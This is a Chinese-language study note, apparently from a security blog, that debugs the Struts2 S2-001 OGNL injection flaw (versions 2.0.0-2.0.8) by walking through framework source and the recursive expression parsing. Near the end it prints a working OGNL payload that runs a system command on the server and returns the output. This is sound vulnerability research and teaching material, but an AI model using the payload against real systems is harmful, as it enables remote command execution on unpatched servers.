漏洞代码调试(二):Strtus2-001代码分析调试
Strtus2-001代码分析调试(学习笔记)
一、漏洞描述:
Struts2 中的validation机制。validation依靠validation和workflow两个拦截器。validation会根据配置的xml文件创建一个特殊字段错误列表。而workflow则会根据validation的错误对其进行检测,如果输入有值,将会把用户带回到原先提交表单的页面,并且将值返回。反之,在默认情况下,如果控制器没有得到任何的输入结果但是有validation验证错误。那么用户将会得到一个错误的信息提示。
提交表单并验证失败时,由于Strust2默认会原样返回用户输入的值而且不会跳转到新的页面,因此当返回用户输入的值并进行标签解析时,如果开启了altSyntax,会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。因此我们可以构造特定的表单值让其进行OGNL表达式解析从而达到任意代码执行。
二、影响版本
影响版本: 2.0.0 - 2.0.8
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>
</dependencies>
三、漏洞分析
Struts2的运行流程是
1、HTTP请求经过一系列的过滤器,最后到达FilterDispatcher过滤器。
2、FilterDispatcher将请求转发给ActionMapper,判断该请求是否需要处理。
3、如果该请求需要处理,FilterDispatcher会创建一个ActionProxy来进行后续的处理。
4、ActionProxy拿着HTTP请求,询问struts.xml该调用哪一个Action进行处理。
5、当知道目标Action之后,实例化一个ActionInvocation来进行调用。
6、然后运行在Action之前的拦截器。
7、运行Action,生成一个Result。
8、Result根据页面模板和标签库,生成要响应的内容。
9、根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。
漏洞关键位置xwork-2.0-beta-1.jar!/com/opensymphony/xwork2/util/TextParseUtil.class中的translateVariables方法下断点。
前面都是一些应用初始化、调度、Struts2 拦截器执行、Action执行等操作,直接跳过。
本次操作只是访问http://localhost:8080/s2vuls_war/pages/s2001/index.jsp获取只有
传入的参数为空,因为Action的返回值为error,所以doForward会跳转到index.jsp,后面再进行一系列过滤器调用、JspServlet调用解析jsp等操作。
后面执行dorun请求的URL资源index.jsp
http://localhost:8080/s2vuls_war/pages/s2001/index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="s2001">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
直接跟到org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方法,这里会对jsp标签进行解析,从form标签开始,我们步入到解析textfield标签时。
开始请求提交访问解析到form表单
form表单解析到textfield
开始是解析到textfield第一个字段:username
接下里到textfield第二个字段:password
接下来到submit
前端页面解析的一个过程
执行完doStartTag后会再次回到index.jsp,此时遇到了相应的闭合标签/>,会跳转到doEndTag():
public int doStartTag() throws JspException {
this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());
Container container = Dispatcher.getInstance().getContainer();
container.inject(this.component);
this.populateParams();
boolean evalBody = this.component.start(this.pageContext.getOut());
if (evalBody) {
return this.component.usesBody() ? 2 : 1;
} else {
return 0;
}
}
-------------------------------分割线-------------------------------
public int doEndTag() throws JspException {
this.component.end(this.pageContext.getOut(), this.getBody());
this.component = null;
return 6;
}
跟进component.end(),到达org.apache.struts2.components.UIBean#end
继续跟入this.evaluateParams();,由于开启了altSyntax,expr = %{password}
altSyntax功能是 Struts2 框架用于处理标签内容的一种新语法(不同于普通的 HTML ),该功能主要作用在于支持对标签中的OGNL表达式进行解析并执行。altSyntax功能在处理标签时,对OGNL表达式的解析能力实际上是依赖于开源组件XWork。
继续跟入this.findValue(expr, valueClazz);
protected Object findValue(String expr, Class toType) {
if (this.altSyntax() && toType == String.class) {
return TextParseUtil.translateVariables('%', expr, this.stack);
} else {
if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
expr = expr.substring(2, expr.length() - 1);
}
return this.getStack().findValue(expr, toType);
}
}
altSyntax,toType 为class.java.lang.string,跟入com.opensymphony.xwork2.util.TextParseUtil中的translateVariables('%', expr, this.stack);
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
expression为%{password},先经过while循环确定出表达式的start和end,然后取出来password赋值给var变量
stack.findValue(var, asType);,这里的stack为OgnlValueStack,它是ValueStack的实现类。
String VALUE_STACK = "com.opensymphony.xwork2.util.ValueStack.ValueStack";
String REPORT_ERRORS_ON_NO_PROP = "com.opensymphony.xwork2.util.ValueStack.ReportErrorsOnNoProp";
ValueStack是Struts2的一个接口,字面意义为值栈,类似于一个数据中转站,Struts2的数据都保存在ValueStack中。客户端发起一个请求struts2会创建一个Action实例同时创建一个OgnlValueStack值栈实例,OgnlValueStack贯穿整个Action的生命周期。Struts2中使用OGNL将请求Action的参数封装为对象存储到值栈中,并通过OGNL表达式读取值栈中的对象属性值。
ValueStack中有两个主要区域
1、CompoundRoot 区域:是一个ArrayList,存储了Action实例,它作为OgnlContext的Root对象。获取root数据不需要加#
2、context 区域:即OgnlContext上下文,是一个Map,放置web开发常用的对象数据的引用。request、session、parameters、application等。获取context数据需要加#
操作值栈,通常指的是操作ValueStack中的root区域。
OgnlValueStack的findValue方法可以在CompoundRoot中从栈顶向栈底找查找对象的属性值。
public Object findValue(String expr, Class asType) {
Object var4;
try {
Object value;
if (expr == null) {
value = null;
return value;
}
if (this.overrides != null && this.overrides.containsKey(expr)) {
expr = (String)this.overrides.get(expr);
}
value = OgnlUtil.getValue(expr, this.context, this.root, asType);
if (value != null) {
var4 = value;
return var4;
}
var4 = this.findInContext(expr);
return var4;
} catch (OgnlException var9) {
var4 = this.findInContext(expr);
return var4;
} catch (Exception var10) {
this.logLookupFailure(expr, var10);
var4 = this.findInContext(expr);
} finally {
OgnlContextState.clear(this.context);
}
return var4;
}
OgnlUtil.getValue(expr, this.context, this.root, asType);
Ognl.getValue(compile(name), context, root, resultType);会根据root和context对象对表达式compile(name)进行解析。
这里因为name为password,会从root栈中LoginAction对象中 获取到我们提交的参数password并返回
前端提交和请求参数,filter来拦截请求并处理,所以在struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/FilterDispatcher.class处,tomcat将请求交给struts2处理
先在过滤器,请求参数和action方法绑定,再调用loginaction方法
返回值进行一系列处理后,最后又赋值给expression,接着会再次进入translateVariables进行解析,然后进入下一次while循环
逻辑运行完之后,struts2将返回响应,并重新渲染jsp。问题就出在重新渲染时,struts2对ognl表达式进行了二次解析,导致攻击者输入的恶意表达式被执行。
主要是%{}表达式
这个方法对表达式是是递归解析的,如果说%{username}的结果还是一个表达式(被%{}包裹)的话,那么程序会继续解析,这造成了恶意ognl表达式的执行。
计算的结果
上面是简单的计算:
尝试系统命令的执行:POC
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ifconfig"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
绑定参数和action
opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class
invokeAction中调用了自定义的action
struts2将返回响应,并重新渲染jsp。问题就出在重新渲染时,struts2对ognl表达式进行了二次解析,导致攻击者输入的恶意表达式被执行。
evaluateParams方法,对标签属性进行解析。
altSyntax,会将标签name属性的值(这里是username),用%{}包裹,进行进一步解析。
opensymphony/xwork/2.0.3/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
将%{}中的值取出来,放入findValue方法中:
多次循环解析点
ognl表达式传入了OgnlUtil.getValue并执行
最后返回到translateVariables方法
返回命令执行的内容:
执行成功返回IP相关学习。
总结:
1、主要是%{}表达式
这个方法对表达式是是递归解析的,如果说%{username}的结果还是一个表达式(被%{}包裹)的话,那么程序会继续解析,这造成了恶意ognl表达式的执行。
2、Strtus2-001本次环境调试,注意多次的表达式循环的解析。开始的生活注意路径和jar包,断点查看调试。(自己被绕晕过,可以第一次过一下,后面再来详细的断点调试)
3、本次也是自己学习记录,如果有纰漏欢迎大佬指点。
参考:
https://www.jianshu.com/p/a072ddd26f50
http://wechat.doonsec.com/article/?id=308b4bab7df3ecdb3bdda6fe1e026ac6
https://blog.csdn.net/qq_29647709/article/details/84945159
https://seaii-blog.com/index.php/2019/12/29/90.html
https://github.com/proudwind/struts2_vulns/
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
订阅查看更多复现文章、学习笔记
thelostworld
安全路上,与你并肩前行!!!!
个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
个人简书:https://www.jianshu.com/u/bf0e38a8d400